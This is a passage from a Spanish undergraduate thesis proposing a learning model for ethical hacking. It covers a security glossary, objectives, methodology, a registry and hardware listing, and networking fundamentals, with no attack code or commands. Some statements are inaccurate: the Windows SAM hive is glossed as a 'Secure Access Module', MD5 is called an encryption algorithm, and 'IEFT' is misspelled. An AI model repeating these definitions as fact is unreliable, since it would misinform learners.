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GLOSARIO 
ACCESO DENEGADO: Categoría o estado en el que una unidad computacional bloquea la 
interacción con el usuario al validar la carencia de autorización. 
ANTIVIRUS: Aplicación encargada de la búsqueda, localización, prevención, y eliminación 
de programas que afectan el funcionamiento, estabilidad y rendimiento de una aplicación o del 
equipo de cómputo mediante protección permanente, constante actualización y bases de datos 
de programas malignos. 
AUTENTICACIÓN: Proceso por el cual se da legitimidad de algo o alguien para el acceso a 
un sistema o recurso mediante diversos factores como son la contraseña, dispositivos 
electrónicos (tarjetas inteligentes, token) o dispositivos biométricos. 
AUTENTIFICACIÓN: Proceso mediante el cual se da acceso a un sistema o servicio 
mediante la verificación de datos.  
CONFIABILIDAD: Manera en la cual se determina mediante diversos estudios el periodo de 
funcionamiento sin incidentes de un sistema, de este modo se pronostica las correcciones que 
éste requiera para su funcionamiento óptimo y a su vez reducir costos de mantenimiento. 
CRACKER: Persona que se encarga de modificar o eliminar las restricciones de un programa 
ampliando su funcionalidad de manera indebida para beneficio propio con fines lucrativos, 
retóricos u ocio.  
CRIPTOGRAFÍA: Es el modo de proteger la información mediante procesos que realizan 
una transformación de los datos para que no pueda ser leído por terceros ajenos a la 
información. 
CRIPTOSISTEMA: Procedimiento que se utiliza en un mensaje o información para cifrarlo 
sin tener en cuenta su estructura o significado mediante la utilización de un algoritmo para que 
sea incomprensible para las personas ajenas a esta información y que no posean la clave para 
descifrarlo.  
DIFFIE-HELLMAN: Protocolo de encriptación que tiene como fin generar una clave en 
común para el uso de dos participantes mediante logaritmos complejos y datos secretos de 
cada participante, el ingreso prohibido de un tercero puede generar inconvenientes en la 
seguridad del protocolo ya que puede interceptar la comunicación que tienen los participantes 
debido a que éste no dispone de un mecanismo para validar la identidad de los participantes. 
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DISPONIBILIDAD: Determina la posibilidad de un sistema o recurso estar activo por un 
determinado periodo de tiempo para ser utilizado por sus consumidores.  
FALSIFICADOR: Agente que crea nuevas versiones, modifica documentos o unidades de 
servicio en el entorno computacional con el fin de alterar su funcionamiento producto de la 
detección de una vulnerabilidad. 
FIPS181: Estándar de criptografía que permite a través de software o dispositivo de hardware 
generar automáticamente una contraseña a partir de un pseudo-aleatorio o al azar. 
FRAUDE: Modo de obtener beneficios o información de un sistema o recurso de manera 
inapropiada mediante la alteración o mal uso del mismo. 
HIJACKING: Técnica ilegal de secuestro que tiene como finalidad conseguir información 
privada mediante programas espías, errores de seguridad en los sistemas, apropiación de redes 
entre otras técnicas; la técnica más utilizada es mediante el uso de cookies maliciosos en las 
páginas web para creer que es la auténtica. 
HMAC: Código de autenticación de mensajes basados en hash el cual se utiliza para la 
verificación de la autenticidad de un mensaje e integridad de los datos mediante la 
fragmentación del mensaje y uso de algún algoritmo de encriptación.  
IAB:(Internet Architecture Board) Organismo encargado de la supervisión de los procesos 
utilizados para crear estándares en internet y de los protocolos y procedimientos utilizados en 
internet además de la gestión y publicación de los memorandos referentes al funcionamiento 
de internet y los sistemas conectados a éste. 
IEFT:(Internet Engineering Task Force) Organización administradora de la arquitectura de 
internet y funcionamiento adecuado de los protocolos que la conforman mediante estándares 
establecidos por sus miembros los cuales pueden ser cualquier individuo interesado en 
participar. 
IESG:(Internet Engineering Steering Group) Unidad organizacional responsable por la 
estructuración de los procesos de gestión técnica dentro de la categoría orientadora de internet 
producto de la valoración de los resultados de la IEFT. 
LAMER: Individuo que presume de sus conocimientos informáticos y habilidades técnicas 
para realizar acciones de hackeo o crackeo con técnicas y sistemas de terceros.  
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LEY 1273: Estipula las acciones indebidas realizadas en los sistemas de información como 
son acceso abusivo, obstaculización, daños, hurtos, suplantación, transferencias no consentidas 
que son sancionadas según la norma. 
MD5: Algoritmo de encriptación el cual utiliza 128 bits representados en un número 
hexadecimal de 32 dígitos. 
RFC2573: Protocolo para la generación de notificaciones de proxy transitorios en particular 
los cuales requieren un mecanismo para determinar dónde y cómo enviar mensajes generados. 
La Información de destino consta de un dominio de transporte y una dirección de transporte. 
Esto también se denomina un punto final de transporte. 
RFC3156: Protocolo para el procesamiento de mensajes y el envío de mensajes dentro del 
SNMP Simple Network Management. En él se definen los procedimientos para el envío DE 
varias versiones de mensajes SNMP de acuerdo a los modelos de procesamiento. 
MARKSMAN: Controlador otorgado para ser flexible, otorgándole poder a los periféricos 
con un control total en el proceso de producción y se pueden configurar a los requerimientos 
de las aplicaciones. 
TCB: Factor que determina la unidad de valoración de seguridad y confianza dentro de una 
arquitectura computacional. 
USABILIDAD: Atributo que asocia el nivel de interacción directa del usuario sobre un 
sistema dada su trazabilidad operacional. 
VIRUS: Programa malicioso que tiene como finalidad el daño, robo de información lentitud 
en el equipo de cómputo o simplemente molestia, estos tipos de programas pueden venir 
ocultos en otros programas o archivos y pueden pasar desapercibidos por el usuario.  
VULNERABILIDAD: Debilidad en un sistema que permite a personas no autorizadas 
obtener información o realizar cambios inadecuados perjudicando considerablemente a los 
usuarios y administradores del sistema, esto se debe principalmente a errores en el diseño del 
sistema los cuales pueden ser corregidos mediante parches o actualizaciones constantes.  
X.509: Estándar para la certificación de contraseñas públicas mediante un algoritmo 
codificado y una sintaxis específica de validación para la estructuración en la autenticidad de 
datos. 
ZOMBIE: Software dañino, que infecta arquitecturas heterogéneas por acción directa sin 
nivel de detección con el fin de ocasionar estragos destructivos.   
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RESUMEN 
El tratamiento procedimental de las acciones del hacking ético, permite al ingeniero de 
sistemas de la Universidad Libre comprender, trabajar e instrumentar teórica y prácticamente 
los problemas relacionados con el análisis de vulnerabilidad, la operación de software 
especializado, la configuración de un vector de ataque y la recuperación lógica y secuencial de 
conjunto de información alterados, modificados o dañados por acción de un ataque. 
El hacking ético cuyos fundamentos teóricos se exponen en este trabajo, permiten que la línea 
electiva definida por el plan de estudios de seguridad digital, cuente con un soporte 
documental referencial que facilitará a los estudiantes interesados comprender formalmente el 
conjunto de principios teóricos requeridos para el desarrollo pleno y familiarización completa 
con los conceptos relacionados con la seguridad informática, se valoran en este trabajo lo 
pertinente a los referentes de control (RFC 2828, X.800 y X.509), juntos con los principios 
asociados con los ataques y amenazas, el descriptor teórico del vector de ataque y las 
especificaciones funcionales propias de una amenaza o ataque. 
 
PALABRAS CLAVES: Amenaza; ataque; hacking; RFC 2828; vulnerabilidad. 
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ABSTRACT 
The procedural treatment of ethical hacking actions, allows the system engineer at the 
University Libre understand, work and implement theoretical and practical problems related to 
vulnerability analysis, operation of specialized software, configuring an attack vector and 
logic and sequential set of recovery altered, modified or damaged by the action of an attack 
information. 
The ethical hacking whose theoretical foundations are discussed in this paper, allow elective 
line defined by the curriculum of digital security, expect a referential provide documentary 
support to students interested formally understand the set of theoretical principles required for 
development full and complete familiarity with the concepts related to computer security, are 
valued in this paper concerning matters pertaining to the control (RFC 2828, X.800 and 
X.509), together with the principles associated with the attacks and threats, theoretical attack 
vector descriptor and the data of a threat or attack functional specifications. 
 
KEY WORDS: Threat; attack; hacking; RFC 2828; vulnerability. 
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INTRODUCCIÓN 
El hacking ético, como asignatura regular del plan de estudios de ingeniería de sistemas ha 
merecido por su importancia y atención entre la comunidad académica del programa, el poder 
contar con material especializado para que los estudiantes interesados, comprendan y 
desarrollen competencias cognitivas y de dominio temático en el conjunto de asignaturas que 
integran la línea electiva de seguridad informática. 
El entregable de este trabajo, familiarizara al estudiante con los principios elementales del 
proceso de hackeo, le guiará en el tratamiento de las herramientas especializadas y le invitara a 
profundizar sobre el sustento matemático inherente al manejo de probabilidades de ataque, 
flujo de tráfico en la red, producto del análisis de las vulnerabilidades de una arquitectura 
computacional, para de esta manera proceder a configurar un vector de ataque. 
El desarrollo y marco descriptivo, parten de la exposición del marco teórico operacional, 
capitulo con el cual se familiariza al lector con los aspectos de definición, consideraciones 
metodológicas, formulación de objetivos y estructuración de su alcance, seguidamente se dan 
a conocer los fundamentos teóricos, funcionales que habilitan la estructuración del proceso de 
hackeo finalizando con el desarrollo de las unidades de aprendizaje por exposición sistemática 
(UAES), que con 3 elementos descriptores analíticos, permitirán el logro del objetivo trazado. 
Los realizadores sugieren a la dirección de la línea de formación electiva sobre seguridad 
informática, definir un nuevo trabajo que permita revisar la funcionalidad y pertinencia de los 
resultados alcanzados para proyectar específicamente resultados especializados que conlleven 
a la formalización de un texto guía para esta asignatura. 
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1. MARCO OPERACIONAL DE DESARROLLO 
El contenido temático, que se desarrolla en este capítulo, registra de manera descriptiva los 
parámetros operacionales, que constituyen la base formal, con la cual se puede interpretar y 
analizar el conjunto de enunciados que según normatividad establecida al interior del programa 
de Ingeniería de Sistemas, constituye el escenario de referenciación implícita asociado con el 
tratamiento y evolución de todo trabajo de grado. 
1.1. Identificación del trabajo 
MODELO REFERENCIAL DE APRENDIZAJE PARA LA IMPLEMENTACIÓN DE 
HACKING ÉTICO 
1.2. Presentación del problema de estudio 
1.2.1. Marco descriptivo problémico. La guerra de la información con sus diversas estrategias 
de acción, a saber: guerra de comando de control, guerra electrónica, guerra cibernética y guerra 
de la información económica, ha permitido la proliferación del ejército de hackers que como 
ejecutivos de ataque y destrucción ocasionan graves problemas a los entornos teleinformáticos. 
La consideración del vector de ataque, el empleo de herramientas especializadas para la 
detección de ataques y la eliminación de intrusos, y la destrucción de software dañino, invita a la 
ingeniería colombiana a estudiar con objetividad el complejo escenario del hacking ético, para 
elaborar ejes de acción orientados a contrarrestar el delito informático y a brindar completa 
seguridad a una arquitectura teleinformática.   
1.2.2. Formulación del problema. ¿Cuál ha de ser la estructura de desarrollo logístico que 
permita modelar situacionalmente las acciones funcionales y operacionales del hacking ético? 
1.3. Presentación de objetivos 
1.3.1. Objetivo general  
Construir el modelo referencial que permita la construcción e implementación de estrategias de 
hacking ético, producto del desarrollo interno en el programa de Ingeniería de Sistemas de la 
Universidad Libre. 
1.3.2. Objetivos específicos 
 Validar la fundamentación teórica de la seguridad informática, según referentes de la IAB, 
IETF y la IESG. 
 Evaluar las estrategias y herramientas existentes para realización del proceso de hacking ético. 
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 Identificar los procesos técnicos para la estructuración del análisis de vulnerabilidades como 
eje referencial para estructurar un vector de ataque. 
1.4. Justificación 
Todo ingeniero de sistemas debe conocer los protocolos y normativas de seguridad informática, 
para valorar los efectos de las amenazas y ataques que destruyen un entorno de intercambio 
transaccional de valores informáticos; el manejo apropiado de herramientas especializadas 
garantiza la construcción de referentes lógicos que explotan la vulnerabilidad de un sistema y 
permiten configurar prototipos experimentales de ataque. 
1.5. Alcances y limitaciones 
El entregable de este proyecto, permitirá a la comunidad académica del programa de ingeniería 
de sistemas alcanzar dentro de su proceso de formación en el área de seguridad informática los 
atributos diferenciadores asociados con las técnicas de hackeo, los manejos de enumeración, el 
crackeo de contraseñas y la detección de intrusos.  
1.6. Resultados esperados 
El modelo experimental a construir como base integral de formación de los estudiantes de la 
electiva de seguridad informática, validará: 
 Normativa integral para la evaluación y operación del análisis de vulnerabilidades de todo 
sistema teleinformático. 
 Valoración de los procesos de detección de intrusos para construir respuestas efectivas de 
filtrado operacional. 
 Potencialidad conceptual y logística experimental para crackear el SAM, realizar 
enumeraciones, valorar permisos por inyección SQL, cifrar datos y construir filtros de captura. 
1.7. Marco descriptivo investigativo 
Se describe para efectos de documentación, seguimiento y control los elementos que dentro del 
escenario investigativo, permiten el desarrollo integral del proyecto, a saber: 
Tipo de investigación. Por la estructura formal del proyecto, se requiere la apropiación de los 
factores que la investigación tecnológica aplicada categoriza para validar las especificaciones, 
enunciados lógicos y sincronismo teórico y funcional en los principios sobre los cuales se 
determina un nivel de operación, considerando la importancia de la observación y confrontación 
de resultados mediante la sostenibilidad del accionar tecnológico. 
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1.7.1. Marco teórico. El manejo e instrumentación de los conceptos y principios, sobre los 
cuales se estructura el hacking ético, debe señalizar tanto la plataforma inherente al desarrollo de 
la seguridad informática como a la base estructural de operación que relaciona el delito 
informático como actividad consecuente de un ataque o amenaza proferida sobre una 
arquitectura computación por los enemigos de la red; los referentes descriptivos se presentan a 
continuación: 
 Seguridad digital. 
 Informática forense. 
 Sistemas teleinformáticos. 
La seguridad digital, proporciona los conceptos y principios que regulan con transparencia los 
mecanismos y servicios que garantizan la integridad transaccional en la red, para ello se consulta 
el conjunto de normas promulgadas por las agencias: IAB1, IETF2 y la IESG3, a saber:  
 RFC 28284 
 X.8005 
 X.5096 
Complementariamente, se requiere el trabajo y consulta continúa con los especificadores 
tecnológicos que definen la seguridad en la IP, la seguridad en la web y seguridad en el correo 
                                            
1
 Internet Architecture Board. Comité independiente de investigadores y profesionales con un interés técnico en la 
salud y la evolución del sistema de Internet. Los miembros de la IAB están profundamente comprometidos en hacer 
funcionar Internet de forma efectiva y evolucionar para satisfacer el futuro de alta velocidad a gran 
escala.http://www.ecured.cu/index.php/Internet_Architecture_Board. 
2
 Internet Engineering Task Force. La misión de la IETF es hacer que Internet funcione mejor mediante la 
producción de alta calidad, documentos técnicos pertinentes que influyen en el diseño de manera que la gente, el uso 
y gestión de la Internet.https://www.ietf.org/ 
3
 Internet Engineering Steering Group. El Grupo de Ingeniería de Internet Directivo(IESG) es responsable de la 
gestión técnica de las actividades del IETF y el proceso delos estándares de Internet. El IESG es directamente 
responsable delas acciones asociadas a la entrada y el movimiento a lo largo del "seguimiento de las normas", en 
Internet, incluyendo la aprobación final de las especificaciones como la normalización de Internet. 
https://www.ietf.org/iesg/ 
4Request for Comments: 2828 - Internet Security Glossary. Este glosario proporciona abreviaturas, explicaciones y 
recomendaciones para el uso de sistema de información de la terminología de seguridad, la intención es mejorar la 
comprensibilidad de la escritura que se ocupa de la seguridad en Internet.http://www.rfc-base.org/rfc-2828.html 
5
 Recomendación X.800. Arquitectura de seguridad de la interconexión de sistemas abiertos para aplicaciones del 
CCITT (Comité Consultivo Internacional Telegráfico y Telefónico). 
https://www.itu.int/rec/dologin_pub.asp?lang=s&id=T-REC-X.800-199103-I!!PDF-S&type=items 
6X.509. Estándar para infraestructuras de claves públicas.https://www.rfc-editor.org/rfc/rfc2459.txt 
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electrónico, partiendo obligatoriamente del tratamiento particular de los algoritmos de 
criptografía: DES7, AES8, RSA9, MD510 y DIFFIE-HELLMAN11. 
Internamente, se tomarán como base de desarrollo las guías de cátedra que para el desarrollo de 
la asignatura electiva en seguridad informática, posee el programa de Ingeniería de Sistemas de 
la Universidad Libre. 
De manera paralela, se revisaran los artículos y publicaciones que con memorias de trabajo ha 
producido la Asociación Colombiana de Ingenieros de Sistemas (ACIS) en sus diferentes 
seminarios internacionales de seguridad informática, se analizaran los referentes producidos por 
la DIJIN y se considerarán como factores de obligatoria consulta las políticas determinadas por 
el MinTIC, la Dirección Nacional de Planeación y el Ministerio de Defensa (Documento 
COMPES 3701)12. 
1.7.2. Marco conceptual. La construcción del entregable resultante, es producto de la relación 
operacional de principios y conceptos definidos en el escenario de la seguridad digital, 
enmarcando como valoradores aspectos pertinentes a la arquitectura ISO x.800, analizando las 
características del software dañino, ponderando la importancia de los certificados digitales y 
clasificando las ocurrencias del delito informático como resultado de la acción de los hackers, 
estudiando complementariamente la normatividad expresa en los vademécum liberados por las 
recomendaciones especializadas RFC 2828, X.509 y otros, para ubicar contextualmente los 
escenarios sobre los que opera la seguridad, a saber: correo electrónico, IP, web y gestión de red, 
de esta manera los realizadores manifiestan la interpretación funcional de los agentes 
                                            
7
 Data Encryption Standard. Estándar de cifrado de datos (DES) que puede ser utilizado por las organizaciones 
federales para proteger los datos sensibles. http://csrc.nist.gov/publications/fips/fips46-3/fips46-3.pdf 
8Advanced Encryption Standard. Especifica un algoritmo criptográfico FIPS-aprobado que se puede utilizar para 
proteger los datos electrónicos. El algoritmo AES es un cifrado de bloques simétricos que pueden encriptar (cifrar) y 
desencriptar (descifrar) información. http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf 
9Rivest, Shamir y Adleman. Método de encriptación para la transmisión segura de datos a través de canales 
inseguros.http://informatica.uv.es/iiguia/MC/Teoria/mc_capitulo12.pdf 
10Message-Digest Algorithm 5. Algoritmo de encriptación pensado para aplicaciones de firma digital, donde un 
archivo grande debe ser comprimido de una manera segura antes de ser encriptado con una clave privada (secreta) 
bajo un sistema de cifrado de clave pública como RSA. https://tools.ietf.org/html/rfc1321 
11Protocolo criptográfico Diffie-Hellman.Es un protocolo de establecimiento de claves entre partes que no han 
tenido contacto previo, utilizando un canal inseguro, y de manera anónima (no autentificada). 
http://190.90.112.209/http/criptografia/Diffie-Hellman.pdf 
12Lineamientos de política para Ciberseguridad y Ciberdefensa.Este documento busca generar lineamientos de 
política en ciberseguridad y ciberdefensa orientados a desarrollar una estrategia nacional que contrarreste el 
incremento de las amenazas informáticas que afectan significativamente al país. 
http://www.mintic.gov.co/portal/604/articles-3510_documento.pdf 
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constructivos asociados con el malware, middleware, el vector de ataque y los procesos de 
administración de red, los cuales conforman la plataforma básica de carácter proyectivo y 
analítico. 
De manera complementaria, es importante para los efectos de comprensión e interpretación de 
los alcances del hacking ético, el considerar el ambiente legal de la jurisprudencia colombiana, 
que tutela como bien jurídico según la ley 1273 del año 2009, la información, que para su lectura 
integral se presenta en el anexo A. 
1.7.3. Marco tecnológico. El sustento computacional para el desarrollo del proyecto, se define 
dentro de la plataforma operacional de los sistemas Windows y Linux y se validará con la 
utilización de las herramientas especializadas para la detección de vulnerabilidades, la 
construcción de vectores de ataque, el acceso al SAM13 y la configuración de significantes de 
recuperación sobre escenarios modificados por acción de un hacker; en resumen el marco 
tecnológico, implica la utilización de: 
 Plataforma computacional 
o Especificación técnica 
 Nombre del Sistema Operativo: Microsoft Windows 8.1 Pro. 
 Tipo de sistema: Equipo basado en X86. 
 Fabricante del sistema: INTEL. 
 Modelo del sistema: DH67BL. 
 Procesador: Intel(R) Core(TM) i5-2310 CPU @ 2.90GHz, 2901 Mhz, 4 procesadores 
principales, 4 procesadores lógicos. 
 Versión y fecha de BIOS: Intel Corp. BLH6710H.86A.0146.2011.1222.1415, 
22/12/2011. 
 Fabricante de la placa base: Intel Corporation. 
 Memoria física instalada (RAM):  4,00 GB. 
 Memoria física total: 3,41 GB. 
 Memoria física disponible: 1,45 GB. 
 Memoria virtual total: 5,22 GB. 
 Memoria virtual disponible: 2,15 GB. 
                                            
13Secure Access Module. Se utiliza para mejorar la seguridad  y rendimiento en los dispositivos que necesitan 
realizar una transacción segura, como terminales de pago. https://es.wikipedia.org/wiki/Secure_Access_Module 
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 Espacio de archivo de paginación: 1,81 GB. 
o Especificación de configuración 
 Multimedia. 
o Códecs de audio. 
o Códecs de video. 
 CD-ROM. 
 Dispositivo de sonido. 
 Pantalla. 
 Entrada. 
o Teclado. 
o Mouse. 
 Módem. 
 Red. 
o Adaptador. 
o Protocolo. 
o WinSock. 
 Puertos. 
 Almacenamiento. 
o Unidades. 
o Discos. 
o SCSI. 
o IDE. 
 Impresión. 
 USB. 
o Especificación de enlace y supervisión 
 Complejo raíz PCI Express. 
 Controladora de bus SM. 
 Controladora de High Definition Audio. 
 Controladora de host extensible 3.0 de USB de Renesas: 0096 (Microsoft). 
 Controladora de host mejorada USB de la familia Chipset Intel(R) serie 6/serie C200 - 
1C26. 
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 Controladora de host mejorada USB de la familia Chipset Intel(R) serie 6/serie C200 - 
1C2D. 
 Controladora Realtek PCI GBE Family. 
 Controladora SATA AHCI estándar. 
 Intel(R) 82579V Gigabit Network Connection. 
 Intel(R) HD Graphics. 
 Intel(R) Management Engine Interface. 
 Puente PCI estándar de PCI a PCI. 
 Puerto raíz 1 PCI Express de la familia de chipsets Intel(R) 6 Series/C200 Series - 
1C10. 
 Puerto raíz 4 PCI Express de la familia de chipsets Intel(R) 6 Series/C200 Series - 
1C16. 
 Tarjeta de sistema. 
 Temporizador de eventos de alta precisión. 
o Especificación de control 
 HKEY_CLASSES_ROOT 
 HKEY_CURRENT_USER 
 HKEY_LOCAL_MACHINE 
o BCD00000000 
o DRIVERS 
o HARDWARE 
o SAM 
o SECURITY 
o SOFTWARE 
o SYSTEM 
 HKEY_USERS 
 HKEY_CURRENT_CONFIG 
1.7.4. Referenciación estructural y operacional. El hacking ético y la seguridad informática, 
están directamente relacionados con la formalización conceptual de la llamada informática 
forense, que se caracteriza por manipular lo pertinente a la interpretación del valor de la 
información en el entorno legal de la jurisprudencia, el cual según los  experto en informática 
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forense: Giovanni Zuccardi y Juan David Gutiérrez, cuando se realiza un crimen, muchas veces 
la información queda almacenada en forma digital, sin embargo, existe un gran problema, debido 
a que los computadores guardan la información de tal forma que no puede ser recolectada o 
usada como prueba utilizando medios comunes, se deben utilizar mecanismos diferentes a los 
tradicionales, en virtud de lo cual, la informática forense adquiere una gran importancia dentro 
del área de la información electrónica, esto debido al aumento del valor de la información y/o al 
uso que se le da a ésta, al desarrollo de nuevos espacios, resaltando su carácter científico, tiene 
sus fundamentos en las leyes de la física, de la electricidad y el magnetismo. Es gracias a 
fenómenos electromagnéticos que la información se puede almacenar, leer e incluso recuperar 
cuando se creía eliminada.  
La consideración del hacking ético, presupone el conocimiento de la terminología especializada 
relacionada con el acceso ilícito, la acción legal y el ataque informático, términos que por su 
importancia serán referenciados apropiadamente. 
 Acceso ilícito: Al que sin autorización conozca o copie información contenida en sistemas o 
equipos de informática protegidos por algún mecanismo de seguridad. 
 Acción legal: Acto jurídico, hecho humano, voluntario o consciente, y lícito que tiene por fin 
inmediato establecer entre las personas relaciones jurídicas, crear, modificar o extinguir derechos 
y obligaciones. 
 Ataque informático: Es un método por el cual un individuo, mediante un sistema 
informático, intenta tomar el control, desestabilizar o dañar otro sistema informático (ordenador, 
red privada, etcétera). 
1.7.5. Marco legal. Este proyecto considera como formalismos de acción legal, lo referente al 
marco que contempla los derechos de autor y la propiedad intelectual, formulados por el 
magistrado Alfredo Vega Jaramillo, quien en el año 2010, publico el texto titulado: “Manual de 
derecho de autor”14, bajo el auspicio de “la Dirección Nacional de Derecho de Autor de la 
Unidad Administrativa Especial Ministerio del Interior y de Justicia”; en este compendio se 
considera lo pertinente a: Propiedad intelectual, Derecho de autor y propiedad industrial, derecho 
de autor y derechos conexos, objeto del derecho de autor, autores y titulares, los derechos 
morales, titularidad y ejercicio del derecho moral y los derechos de reproducción, comunicación 
                                            
14JARAMILLO VEGA, Alfredo. Manual de derecho de autor [online].Bogotá 2010.Disponible en internet 
http://www.derechodeautor.gov.co/documents/10181/331998/Cartilla+derecho+de+autor+%28Alfredo+Vega%29.p
df/e99b0ea4-5c06-4529-ae7a-152616083d40 Manual de derecho de autor 
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pública, transformación, distribución y seguimiento ; contenido que para facilitar su lectura e 
interpretación se dio a conocer , al elaborar la propuesta correspondiente; en lo concerniente al 
acervo jurídico existente. 
1.8. Metodología ingenieril 
La construcción del entregable correspondiente a éste proyecto, será el resultado de la utilización 
normativa de las fases que integran un proyecto de tecnología, calificado en el área de la 
teleinformática y específicamente en el entorno de la seguridad digital, la carta técnica acogida 
por los desarrolladores, comprende las fases siguientes: 
 Fase de contextualización: Se procede a recolectar, analizar y clasificar la información, que 
constituye la base para la formulación e interpretación problemita, identificando de esta manera: 
¿Qué se quiere?, ¿Cómo se hará?, ¿Con qué se hará?, ¿Para qué se hará? y ¿Quién lo utilizará? 
 Fase de dimensionamiento funcional: Se esquematiza y elabora el prototipo de análisis y 
valoración, identificando el conjunto de variables, relaciones a integrar y el soporte tecnológico a 
utilizar, señalando los aspectos inherentes a la formulación de indicadores y al establecimiento 
de la ruta crítica para el desarrollo del proyecto. 
 Fase de diseño y construcción: Tomando como referente de juicio y desarrollo el prototipo 
elaborado, se procede a realizar las actividades estructuradas modularmente, validando su 
efectividad, eficiencia y nivel de calidad, para categorizar la solución que proyectara la entrega 
del resultado esperado. 
 Fase de validación y liberación: Se definen los procedimientos de prueba a nivel de caja 
blanca y caja negra y se constata frente a una población experimentada, si los resultados 
encontrados, satisfacen plenamente los requerimientos formulados, si se valida positivamente 
entonces el modelo puede ser socializado y liberado, en caso contrario deberá reformularse, 
corrigiendo las falencias detectadas. 
1.9. Cronograma de desarrollo 
En la figura 1, se presentan las actividades a desarrollar según calendario operacional definido, 
este cronograma presenta las siguientes características: 
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 Calendario de ejecución  
Fecha de Inicio: Abril 20 de 2015  
Fecha de terminación: Septiembre 15 de 2015 
 Unidad de programación 
La semana 
 Herramienta de desarrollo 
Microsoft Excel® 
 Asignación de tiempos  
En la tabla 1, se listan los tiempos estimados, los tiempos de holgura y los nombres de las 
actividades definidas por la estructura de la metodología seleccionada.  
 
Tabla 1. Asignación de tiempos de desarrollo 
 
Fuente: Construcción propia 
        
 
 
 
 
 
 
ACTIVIDAD 
TIEMPO 
ESTIMADO 
TIEMPO DE 
HOLGURA 
Contextualización 3 2 
Dimensionamiento funcional 4 2 
Diseño y construcción 4 2 
Validación y liberación 3 1 
Total 14 7 
Duración proyecto 21 
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Figura 1. Cronograma proyecto.  
Fuente: Construcción propia. 
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2. REFERENTE DESCRIPTIVO CONCEPTUAL 
Contiene este capítulo, los conceptos y principios teóricos que constituyen la plataforma de 
soporte para la construcción de la solución propuesta, se presenta en primera instancia los 
fundamentos de la teoría de redes, luego se procede con el tratamiento de la seguridad 
informática, finalizando con la formulación básica del esquema lógico del hacking. 
2.1. Fundamentos teleinformáticos 
Se describen en este numeral, los conceptos relacionados con el SECD, el modelo de 
especificación, la estructura funcional de la fibra óptica, las redes de acceso y el enlace satelital, 
tal como se presentan a continuación: 
2.1.1. Sistema electrónico de comunicación de datos (SECD). El SECD, es la entidad que 
habilita la integración entre el transmisor, el medio y el receptor, para implementar el 
intercambio transaccional de valores informáticos [Tomasi 2010], su estructura operacional, se 
despliega en la figura 2. 
 
Figura 2. Estructura SECD. 
Fuente: Aporte realizadores. 
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El SECD, permite el intercambio de señales análogas y digitales, las señales análogas varían 
continuamente de manera sinusoidal, mientras que en el sistema digital la energía 
electromagnética se propaga mediante señales discretas, que varían entre +5 voltios, -5 voltios y 
la tierra. 
Formalmente, la representación de la onda sinusoidal está dada por estas ecuaciones: 
 V (t) = V sen (2π f t + ϴ) 
 V (t) = V cos (2 π f t + ϴ) 
 I (t) = V sen (2 π f t + ϴ - 90) 
En las cuales: 
 V (t) = Onda de voltaje que varía en el tiempo. 
 I (t) = Onda de corriente. 
 V = Voltaje pico. 
 F = Frecuencia en Hertz. 
 ϴ = Fase en radianes. 
 I = Corriente pico. 
 2 π F = W = Velocidad angular. 
Cuando varían los parámetros funcionales de onda, se hace referencia a: AM = Amplitud 
modulada, FM = Frecuencia modulada y PM = Fase modulada. 
2.1.2. Espectro electromagnético. Convencionalmente, el espectro de frecuencias 
electromagnéticas, se define como el escenario de distribución de la energía electromagnética, 
que integra las frecuencias subsónicas, la banda de radio, la banda de fibra y los rayos cósmicos 
[Tomasi 2010]; el espacio de variación correspondiente es: 
 Banda subsónica: 100  – 101 Hertz. 
 Banda de audio: 102 – 103 Hertz. 
 Banda de radio: 105 – 107 Hertz. 
 Banda de microondas terrestres: 108 – 1011 Hertz. 
 Banda de fibra óptica: 1012 – 1017 Hertz. 
 Banda de alta frecuencia. 
o Rayos X: 1018 Hertz. 
o Rayos Gamma: 1019 Hertz. 
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o Rayos cósmicos: 1022 Hertz. 
2.1.3. Sistema distribuido. Se entiende el sistema distribuido como la colección de 
computadores con independencia operacional, que validan de forma transparente la usabilidad e 
interactividad del usuario [Tanenbaum 2012]; el sistema distribuido, garantiza la transparencia 
de ubicación, la transparencia de migración y la transparencia de reubicación según su operación, 
los sistemas distribuidos pueden ser clasificados así:  
 Sistemas distribuidos de cómputo. 
 Sistemas distribuidos de información. 
Los sistemas distribuidos de cómputo, integran los sistemas de clúster y los sistemas en Grid, la 
figura 3, ilustra la estructura lógica de todo sistema distribuido, señalando que gracias a la 
integración y secuencialización de carácter lógico, es factible garantizar que toda transacción en 
un sistema distribuido es atómica, consistente, aislada y durable. 
  
Figura 3. Estructura sistema distribuido. 
Fuente: Aporte realizadores. 
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2.1.4. Modelo de especificación. La parametrización de las actividades que conforman las 
operaciones inherentes a la configuración de una solución telemática, se define en los niveles 
físico, de enlace, de red, transporte, sesión, presentación y aplicación [Reiss 2006]. 
El nivel físico, describe las propiedades eléctricas y mecánicas de las interfaces, el nivel de 
enlace, construye las cabeceras de control para el manejo de paquetes, el nivel de red, define los 
protocolos sin conexión que encaminan de forma dinámica los datos del usuario, el nivel de 
transporte, especifica los protocolos que normatizan el envío de valores informáticos, el nivel de 
sesión, establece el dialogo operacional, en el nivel de presentación se asegura la entrega 
inteligible de la información y finalmente, el nivel de aplicación, habilita al usuario para 
interactuar con los servicios configurados. 
En la figura 4, se muestran las estructuras correspondientes a los modelos OSI/ISO15, DDN16 y 
APPLETALK17. 
 
Figura 4. Estructura modelos de especificación. 
Fuente: Construcción propia. 
                                            
15Open System Interconnection. Es el modelo de red descriptivo para la definición de arquitecturas en la 
interconexión de los sistemas de comunicaciones. https://es.wikipedia.org/wiki/Modelo_OSI 
16DDN. Está diseñado para encaminar y tiene un grado muy elevado de fiabilidad, es adecuado para redes grandes y 
medianas, así como en redes empresariales. Se utiliza a nivel mundial para conectarse a Internet y a los servidores 
web. Es compatible con las herramientas estándar para analizar el funcionamiento de la red. 
https://es.wikipedia.org/wiki/Familia_de_protocolos_de_Internet 
17
 AppleTalk. Es un conjunto de protocolos desarrollados por Apple Inc. para la interconexión de redes locales en 
favor de las redes TCP/IP. https://es.wikipedia.org/wiki/AppleTalk 
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2.1.5. Redes de acceso. La red de acceso, es la entidad operacional responsable de la 
interconectividad con el usuario final [Capmany 2012], su tipología permite diferenciar: FTTH18, 
FTTB19, FTTC20, FTTCAB21 y FTTEX22. 
Estas configuraciones, operan gracias a la participación y control sincrónico de los siguientes 
componentes, a saber: OLT: Terminales de línea ópticos, OADN: Insertor y extractores de 
canales ópticos y OXC: Matrices de conmutación óptica, El marco operacional de la capa óptica, 
se encuentra definido por la recomendación G.87223, visualizándose en la figura 5 sus 
componentes. 
 
Figura 5. Componentes G.872. 
